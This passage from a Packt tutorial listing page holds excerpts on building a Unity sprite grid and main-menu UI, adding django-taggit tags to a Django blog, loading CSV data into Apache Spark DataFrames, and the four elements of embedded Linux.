few variables to reference and change: currentObjectCount: This specifies the total number of children that will be created. This increments for each one created. currentColumn: This denotes the current column we are on in the row. currentRow: This specifies the current row we are on. currentLocation: This denotes the current location that the children GameObject will use and sets its position too. This is changed after each new child is created based on the X or Y setting of the sprite size. Now that we have our rootObject and the variables we need to create the children, we can use while loop. A while loop is a loop that will continue until its condition fails. In our case, we will check whether currentRow is less than the GridYSlider value. As soon as currentRow is equal to or greater than GridYSlider, the loop will stop because the condition failed. The reason we will look at currentRow is that for each column created, we can reset its value to zero and increment currentRow by one. This means that each row will hold as many columns as were set by the GridXSlider value, and we know that the grid is complete when currentRow is equal or greater than GridYSlider. For example, if we had a grid setting of 3X and 3Y, the first row will hold three columns. When the first row is done, the row changes to two and adds three more columns. In the last row, it completes three more columns and then the while condition fails because the row value is equal to GridYSlider. In each loop of the while loop, we start by creating gridObject. We set this grid object parent to that of rootObject, set its name to RootObjectName, and concatenate an underscore, followed by currentObjectCount and then set the gridObject position to the currentLocation value, which will change based on the size of the sprite and the column/row. We will then add a SpriteRenderer component to gridObject and assign a sprite to it. We will change the sprite based on whether currentRow is equal to zero or not. If it is, in the first row, we will set the sprite to SpriteGroundFile. If currentRow is not equal to zero, we will set the sprite to SpriteDirtFile. The ternary operator is a sort of shorthand for if → else. If the condition is true, we will set the value to what is behind the question mark. If the condition is false, we will set the value based on what's behind the colon. The question mark represents if, whereas the colon represents else. The ternary operator is as follows: Value = ( condtion == true ) ? ifTrue : elseNotTrue; Once we have the sprite assigned to the SpriteRenderer component of gridObject, we can assign a BoxCollider2D component, which will make itself the same size as the sprite. If we were to add the BoxCollider2D component to SpriteRenderer, it would be the default size of 1, 1, 1, which would be too big. We will then offset currentLocation by the spriteX size, so the next gridObject will offset the size of the spriteX size. The currentColumn value is incremented by one, and we then check whether currentColumn is greater than or equal to the GridXSlider value. If it is, we know that we need to start the next row. To do this, we reset currentColumn to zero, increment currentRow by one, set the currentLocation.x value to zero, and offset currentLocation.y by negative spriteY size. This not only results in an offset location down, but also resets the X value to zero, making it possible for the columns to be created again; just down the size of spriteY. Finally, we increment currentObjectCount by one. Building the main menu UI The main menu UI will be its own Canvas GameObject. We will then handle the main menu and the game UI via the GameInfo class. We will also use the GameInfo class to manage button presses and the iOS integration. In Hierarchy, right-click and select UI and then click on Canvas. Name this new Canvas GameObject MenuUI. Let's start by adding five buttons to achievements, playing, leaderboards, remove iAds, and restore purchase. Right-click on the new MenuUI GameObject, navigate to UI, and left-click on Button. Do this four more times, so there are a total of five buttons that are children of the MenuUI GameObject. Name the buttons and text children as follows: PlayButton, PlayText LeaderboardButton, LeaderboardText AchievementButton, AchievementText RemoveAdsButton, RemoveAdsText RestorePurchaseButton, RestorePurchaseText Adding button images Next, we need to import the art that will be used for the main menu UI. In the Assets | UI folder, right-click and select Import New Asset. Select all the new images in the Assets | UI folder and change their settings as follows: Filter Mode: Trilinear Max Size: 256 Format: Truecolor PlayButton Select PlayButton in Hierarchy and search for Inspector. Change its settings as follows: Anchor: Bottom Center Pos X: 0 Pos Y: 115 Pos Z: 0 Width: 128 Height: 128 Source Image: MenuButton Now, select PlayButtonText. In the Inspector window, change its settings as follows: Text: Play Font: Arial Font Style: Bold Font Size: 36 Alignment: Center LeaderboardButton Select LeaderboardButton in the Hierarchy tab and search for Inspector. Change its settings as follows: Anchor: Bottom Center Pos X: 135 Pos Y: 115 Pos Z: 0 Width: 128 Height: 128 Source Image: MenuButton Select LeaderboardText. In the Inspector window, change its settings to: Text: Leaderboards Font: Arial Font Style: Bold Font Size: 17 Alignment: Center AchievementButton Select AchievementButton. In Hierarchy, search for Inspector. Change its settings as follows: Anchor: Bottom Center Pos X: -135 Pos Y: 115 Pos Z: 0 Width: 128 Height: 128 Source Image: MenuButton Now, select AchievementText and then in Inspector, change its settings to: Text: Achievements Font: Arial Font Style: Bold Font Size: 17 Alignment: Center RemoveAdsButton Select RemoveAdsButton in the Hierarchy tab and navigate to Inspector. Change its settings as follows: Anchor: Bottom Center Pos X: -64 Pos Y: 55 Pos Z: 0 Width: 96 Height: 42 Source Image: RestartButton Now, select RemoveAdsText and then in the Inspector window, change its settings as shown here: Text: Remove iAds Font: Arial Font Style: Bold Font Size: 12 Alignment: Center RestorePurchaseButton Let's select RestorePurchaseButton in the Hierarchy tab and search for Inspector. Change its settings as follows: Anchor: Bottom Center Pos X: 64 Pos Y: 55 Pos Z: 0 Width: 96 Height: 42 Source Image: RestartButton Now, select RestorePurchaseText and then in the Inspector window, change its settings as follows: Text: Restore Purchase Font: Arial Font Style: Bold Font Size: 14 Alignment: Center You should now have a button layout that looks similar to the following image: Summary In this article, we discussed how to create a Unity editor tool and a grid of GameObjects. These were laid out by the size of the sprites you chose and were flexible enough to use with your own settings. We also created prefabs for all of our bigger GameObjects, which could hold all of their components in a neat package. We also covered the basics of how to create a game for iOS and utilize its GameCenter features. Feel free to explore these features and add to them. Adding more store purchases, achievements, and leaderboards is simply repeating the steps that we have already done. Resources for Article: Further resources on this subject: Components in Unity[article] Saying Hello to Unity and Android [article] Unity Networking – The Pong Game [article]
Read more
  • 0
  • 0
  • 2328

article-image-enhancing-your-blog-advanced-features
Packt
22 Sep 2015
8 min read
Save for later

Enhancing Your Blog with Advanced Features

Packt
22 Sep 2015
8 min read
In this article by Antonio Melé, the author of the Django by Example book shows how to use the Django forms, and ModelForms. You will let your users share posts by e-mail, and you will be able to extend your blog application with a comment system. You will also learn how to integrate third-party applications into your project, and build complex QuerySets to get useful information from your models. In this article, you will learn how to add tagging functionality using a third-party application. (For more resources related to this topic, see here.) Adding tagging functionality After implementing our comment system, we are going to create a system for adding tags to our posts. We are going to do this by integrating in our project a third-party Django tagging application. django-taggit is a reusable application that primarily offers you a Tag model, and a manager for easily adding tags to any model. You can take a look at its source code at https://github.com/alex/django-taggit. First, you need install django-taggit via pip by running the pip install django-taggit command. Then, open the settings.py file of the project, and add taggit to your INSTALLED_APPS setting as the following: INSTALLED_APPS = ( # ... 'mysite.blog', 'taggit', ) Then, open the models.py file of your blog application, and add to the Post model the TaggableManager manager, provided by django-taggit as the following: from taggit.managers import TaggableManager # ... class Post(models.Model): # ... tags = TaggableManager() You just added tags for this model. The tags manager will allow you to add, retrieve, and remove tags from the Post objects. Run the python manage.py makemigrations blog command to create a migration for your model changes. You will get the following output: Migrations for 'blog': 0003_post_tags.py: Add field tags to post Now, run the python manage.py migrate command to create the required database tables for django-taggit models and synchronize your model changes. You will see an output indicating that the migrations have been applied: Operations to perform: Apply all migrations: taggit, admin, blog, contenttypes, sessions, auth Running migrations: Applying taggit.0001_initial... OK Applying blog.0003_post_tags... OK Your database is now ready to use django-taggit models. Open the terminal with the python manage.py shell command, and learn how to use the tags manager. First, we retrieve one of our posts (the one with the ID as 1): >>> from mysite.blog.models import Post >>> post = Post.objects.get(id=1) Then, add some tags to it and retrieve its tags back to check that they were successfully added: >>> post.tags.add('music', 'jazz', 'django') >>> post.tags.all() [<Tag: jazz>, <Tag: django>, <Tag: music>] Finally, remove a tag and check the list of tags again: >>> post.tags.remove('django') >>> post.tags.all() [<Tag: jazz>, <Tag: music>] This was easy, right? Run the python manage.py runserver command to start the development server again, and open http://127.0.0.1:8000/admin/taggit/tag/ in your browser. You will see the admin page with the list of the Tag objects of the taggit application: Navigate to http://127.0.0.1:8000/admin/blog/post/ and click on a post to edit it. You will see that the posts now include a new Tags field as the following one where you can easily edit tags: Now, we are going to edit our blog posts to display the tags. Open the blog/post/list.html template and add the following HTML code below the post title: <p class="tags">Tags: {{ post.tags.all|join:", " }}</p> The join template filter works as the Python string join method to concatenate elements with the given string. Open http://127.0.0.1:8000/blog/ in your browser. You will see the list of tags under each post title: Now, we are going to edit our post_list view to let users see all posts tagged with a tag. Open the views.py file of your blog application, import the Tag model form django-taggit, and change the post_list view to optionally filter posts by tag as the following: from taggit.models import Tag def post_list(request, tag_slug=None): post_list = Post.published.all() if tag_slug: tag = get_object_or_404(Tag, slug=tag_slug) post_list = post_list.filter(tags__in=[tag]) # ... The view now takes an optional tag_slug parameter that has a None default value. This parameter will come in the URL. Inside the view, we build the initial QuerySet, retrieving all the published posts. If there is a given tag slug, we get the Tag object with the given slug using the get_object_or_404 shortcut. Then, we filter the list of posts by the ones which tags are contained in a given list composed only by the tag we are interested in. Remember that QuerySets are lazy. The QuerySet for retrieving posts will only be evaluated when we loop over the post list to render the template. Now, change the render function at the bottom of the view to pass all the local variables to the template using locals(). The view will finally look as the following: def post_list(request, tag_slug=None): post_list = Post.published.all() if tag_slug: tag = get_object_or_404(Tag, slug=tag_slug) post_list = post_list.filter(tags__in=[tag]) paginator = Paginator(post_list, 3) # 3 posts in each page page = request.GET.get('page') try: posts = paginator.page(page) except PageNotAnInteger: # If page is not an integer deliver the first page posts = paginator.page(1) except EmptyPage: # If page is out of range deliver last page of results posts = paginator.page(paginator.num_pages) return render(request, 'blog/post/list.html', locals()) Now, open the urls.py file of your blog application, and make sure you are using the following URL pattern for the post_list view: url(r'^$', post_list, name='post_list'), Now, add another URL pattern as the following one for listing posts by tag: url(r'^tag/(?P<tag_slug>[-w]+)/$', post_list, name='post_list_by_tag'), As you can see, both the patterns point to the same view, but we are naming them differently. The first pattern will call the post_list view without any optional parameters, whereas the second pattern will call the view with the tag_slug parameter. Let’s change our post list template to display posts tagged with a specific tag, and also link the tags to the list of posts filtered by this tag. Open blog/post/list.html and add the following lines before the for loop of posts: {% if tag %} <h2>Posts tagged with "{{ tag.name }}"</h2> {% endif %} If the user is accessing the blog, he will the list of all posts. If he is filtering by posts tagged with a specific tag, he will see this information. Now, change the way the tags are displayed into the following: <p class="tags"> Tags: {% for tag in post.tags.all %} <a href="{% url "blog:post_list_by_tag" tag.slug %}">{{ tag.name }}</a> {% if not forloop.last %}, {% endif %} {% endfor %} </p> Notice that now we are looping through all the tags of a post, and displaying a custom link to the URL for listing posts tagged with this tag. We build the link with {% url "blog:post_list_by_tag" tag.slug %} using the name that we gave to the URL, and the tag slug as parameter. We separate the tags by commas. The complete code of your template will look like the following: {% extends "blog/base.html" %} {% block title %}My Blog{% endblock %} {% block content %} <h1>My Blog</h1> {% if tag %} <h2>Posts tagged with "{{ tag.name }}"</h2> {% endif %} {% for post in posts %} <h2><a href="{{ post.get_absolute_url }}">{{ post.title }}</a></h2> <p class="tags"> Tags: {% for tag in post.tags.all %} <a href="{% url "blog:post_list_by_tag" tag.slug %}">{{ tag.name }}</a> {% if not forloop.last %}, {% endif %} {% endfor %} </p> <p class="date">Published {{ post.publish }} by {{ post.author }}</p> {{ post.body|truncatewords:30|linebreaks }} {% endfor %} {% include "pagination.html" with page=posts %} {% endblock %} Open http://127.0.0.1:8000/blog/ in your browser, and click on any tag link. You will see the list of posts filtered by this tag as the following: Summary In this article, you added tagging to your blog posts by integrating a reusable application. The book Django By Example, hands-on-guide will also show you how to integrate other popular technologies with Django in a fun and practical way. Resources for Article: Further resources on this subject: Code Style in Django[article] So, what is Django? [article] Share and Share Alike [article]
Read more
  • 0
  • 0
  • 4402
article-image-getting-started-apache-spark-dataframes
Packt
22 Sep 2015
5 min read
Save for later

Getting Started with Apache Spark DataFrames

Packt
22 Sep 2015
5 min read
 In this article article about Arun Manivannan’s book Scala Data Analysis Cookbook, we will cover the following recipes: Getting Apache Spark ML – a framework for large-scale machine learning Creating a data frame from CSV (For more resources related to this topic, see here.) Getting started with Apache Spark Breeze is the building block of Spark MLLib, the machine learning library for Apache Spark. In this recipe, we'll see how to bring Spark into our project (using SBT) and look at how it works internally. The code for this recipe could be found at https://github.com/arunma/ScalaDataAnalysisCookbook/blob/master/chapter1-spark-csv/build.sbt. How to do it... Pulling Spark ML into our project is just a matter of adding a few dependencies on our build.sbt file: spark-core, spark-sql, and spark-mllib: Under a brand new folder (which will be our project root), we create a new file called build.sbt. Next, let's add to the project dependencies the Spark libraries: organization := "com.packt" name := "chapter1-spark-csv" scalaVersion := "2.10.4" val sparkVersion="1.3.0" libraryDependencies ++= Seq( "org.apache.spark" %% "spark-core" % sparkVersion, "org.apache.spark" %% "spark-sql" % sparkVersion, "org.apache.spark" %% "spark-mllib" % sparkVersion ) resolvers ++= Seq( "Apache HBase" at "https://repository.apache.org/content/repositories/releases", "Typesafe repository" at "http://repo.typesafe.com/typesafe/releases/" ) How it works... Spark has four major higher level tools built on top of the Spark Core: Spark Streaming, Spark ML Lib (Machine Learning), Spark SQL (An SQL interface for accessing data), and GraphX (for graph processing). The Spark Core is the heart of Spark, providing higher level abstractions in various languages for data representation, serialization, scheduling, metrics, and so on. For this recipe, we skipped streaming and GraphX and added the remaining three libraries. There’s more… Apache Spark is a cluster computing platform that claims to run about 100 times faster than Hadoop (that's a mouthful). In our terms, we could consider that as a means to run our complex logic over a massive amount of data at a blazingly high speed. The other good thing about Spark is that the programs we write are much smaller than the typical Map Reduce classes that we write for Hadoop. So, not only do our programs run faster, but it also takes lesser time to write them in the first place. Creating a data frame from CSV In this recipe, we'll look at how to create a new data frame from a Delimiter Separated Values (DSV) file. The code for this recipe could be found athttps://github.com/arunma/ScalaDataAnalysisCookbook/tree/master/chapter1-spark-csv in the DataFrameCSV class. How to do it... CSV support isn't first-class in Spark but is available through an external library from databricks. So, let's go ahead and add that up in build.sbt: After adding the spark-csv dependency, our complete build.sbt looks as follows: organization := "com.packt" name := "chapter1-spark-csv" scalaVersion := "2.10.4" val sparkVersion="1.3.0" libraryDependencies ++= Seq( "org.apache.spark" %% "spark-core" % sparkVersion, "org.apache.spark" %% "spark-sql" % sparkVersion, "org.apache.spark" %% "spark-mllib" % sparkVersion, "com.databricks" %% "spark-csv" % "1.0.3" ) resolvers ++= Seq( "Apache HBase" at"https://repository.apache.org/content/repositories/releases", "Typesafe repository" at "http://repo.typesafe.com/typesafe/releases/" ) fork := true Before we create the actual data frame, there are three steps that we ought to do: create the Spark configuration, create the Spark context, and create the SQL context. SparkConf holds all of the information for running this Spark cluster. For this recipe, we are running locally, and we intend to use only two cores in the machine—local[2]: val conf = new SparkConf().setAppName("csvDataFrame").setMaster("local[2]") For this recipe, we'll be running Spark on standalone mode. Now let's load our pipe-separated file: org.apache.spark.sql.DataFrame val students=sqlContext.csvFile(filePath="StudentData.csv", useHeader=true, delimiter='|') How it works... The csvFile function of sqlContext accepts the full filePath of the file to be loaded. If the CSV has a header, then the useHeader flag will read the first row as column names. The delimiter flag, as expected, defaults to a comma, but you can override the character as needed. Instead of using the csvFile function, you can also use the load function available in the SQL context. The load function accepts the format of the file (in our case, it is CSV) and options as a map. We can specify the same parameters that we specified earlier using Map, like this: val options=Map("header"->"true", "path"->"ModifiedStudent.csv") val newStudents=sqlContext.load("com.databricks.spark.csv",options) Summary In this article, you learned in detail Apache Spark ML, a framework for large-scale machine learning. Then we saw the creation of a data frame from CSV with the help of example code. Resources for Article: Further resources on this subject: Integrating Scala, Groovy, and Flex Development with Apache Maven[article] Ridge Regression[article] Reactive Data Streams [article]
Read more
  • 0
  • 0
  • 9371

article-image-embedded-linux-and-its-elements
Packt
22 Sep 2015
6 min read
Save for later

Embedded Linux and Its Elements

Packt
22 Sep 2015
6 min read
 In this article by Chris Simmonds, author of the book, Mastering Embedded Linux Programming, we'll cover the introduction of embedded Linux and its elements. (For more resources related to this topic, see here.) Why is embedded Linux popular? Linux first became a viable choice for embedded devices around 1999. That was when Axis (www.axis.com) released their first Linux-powered network camera and Tivo (www.tivo.com) their first DVR (Digital video recorder). Since 1999, Linux has become ever more popular, to the point that today it is the operating system of choice for many classes of product. As of this writing, in 2015, there are about 2 billion devices running Linux. That includes a large number of smart phones running Android, set top boxes and smart TVs and WiFi routers. Not to mention a very diverse range of devices such as vehicle diagnostics, weighing scales, industrial devices and medical monitoring units that ship in smaller volumes. So, why does your TV run Linux? At first glance, the function of a TV is simple: it has to display a stream of video on a screen. Why is a complex Unix-based operating system like Linux necessary? The simple answer is Moore's Law: Gordon Moore, co-founder of Intel stated in 1965 that the density of components on a chip will double every 2 years. That applies to the devices that we design and use in our everyday lives just as much as it does to desktops, laptops and servers. A typical SoC (System on Chip) at the heart of current devices contains many function block and has a technical reference manual that stretches to thousands of pages. Your TV is not simply displaying a video stream as the old analog sets used to. The stream is digital, possibly encrypted, and it needs processing to create an image. Your TV is (or soon will be) connected to the Internet. It can receive content from smart phones, tablets and home media servers. It can be (or soon will) used to play games. And so on and so on. You need a full operating system to manage all that hardware. Here are some points that drive the adoption of Linux: Linux has the functionality required. It has a good scheduler, a good network stack, support for many kinds of storage media, good support for multimedia devices, and so on. It ticks all the boxes. Linux has been ported to a wide range of processor architectures, including those important for embedded use: ARM, MIPS, x86 and PowerPC. Linux is open source. So you have the freedom to get the source code and modify it to meet your needs. You, or someone in the community, can create a board support package for your particular SoC, board or device. You can add protocols, features, technologies that may be missing from the mainline source code. Or, you can remove features that you don't need in order to reduce memory and storage requirements. Linux is flexible. Linux has an active community. In the case of the Linux kernel, very active. There is a new release of the kernel every 10 to 12 weeks, and each release contains code from around 1000 developers. An active community means that Linux is up to date and supports current hardware, protocols and standards. Open source licenses guarantee that you have access to the source code. There is no vendor tie-in. There is no vendor, no license fees, no restrictive NDAs, EULAs, and so on. Open source software is free in both senses: it gives you the freedom to adapt it for our own use and there is nothing to pay. For these reasons, Linux is an ideal choice for complex devices. But there are a few caveats I should mention here. Complexity makes it harder to understand. Coupled with the fast moving development process and the decentralized structures of open source, you have to put some effort into learning how to use it and to keep on re-learning as it changes. I hope that this article will help in the process. Elements of embedded Linux Every project begins by obtaining, customizing and deploying these four elements: Toolchain, Bootloader, Kernel, and Root filesystem. Toolchain The toolchain is the first element of embedded Linux and the starting point of your project. It should be constant throughout the project, in other words, once you have chosen your toolchain it is important to stick with it. Changing compilers and development libraries in an inconsistent way during a project will lead to subtle bugs. Obtaining a toolchain can be as simple as downloading and installing a package. But, the toolchain itself is a complex thing. Linux toolchains are almost always based on components from the GNU project (http://www.gnu.org). It is becoming possible to create toolchains based on LLVM/Clang (http://llvm.org). Bootloader The bootloader is the second element of Embedded Linux. It is the part that starts the system up and loads the operating system kernel. When considering which bootloader to focus on, there is one that stands out: U-Boot. In an embedded Linux system the bootloader has two main jobs: to start the system running and to load a kernel. In fact the first job is in somewhat subsidiary to the second in that it is only necessary to get as much of the system working as is necessary to load the kernel. Kernel The kernel is the third element of Embedded Linux. It is the component that is responsible for managing resources and interfacing with hardware, and so affects almost every aspect of your final software build. Usually it is tailored to your particular hardware configuration. The kernel has three main jobs to do: to manage resources, to interface to hardware, and to provide an API that offers a useful level of abstraction to user space programs, as summarized in the following diagram: Root filesystem The root filesystem is the fourth and final element of embedded Linux. The first objective is to create a minimal root filesystem that can give us a shell prompt. Then using that as a base we will add scripts to start other programs up, and to configure a network interface and user permissions. Knowing how to build the root filesystem from scratch is a useful skill. Summary In this article we briefly saw the introduction for embedded Linux and its elements. Resources for Article: Further resources on this subject: Virtualization[article] An Introduction to WEP [article] Raspberry Pi LED Blueprints [article]
Read more
  • 0
  • 0
  • 3613
Modal Close icon
Modal Close icon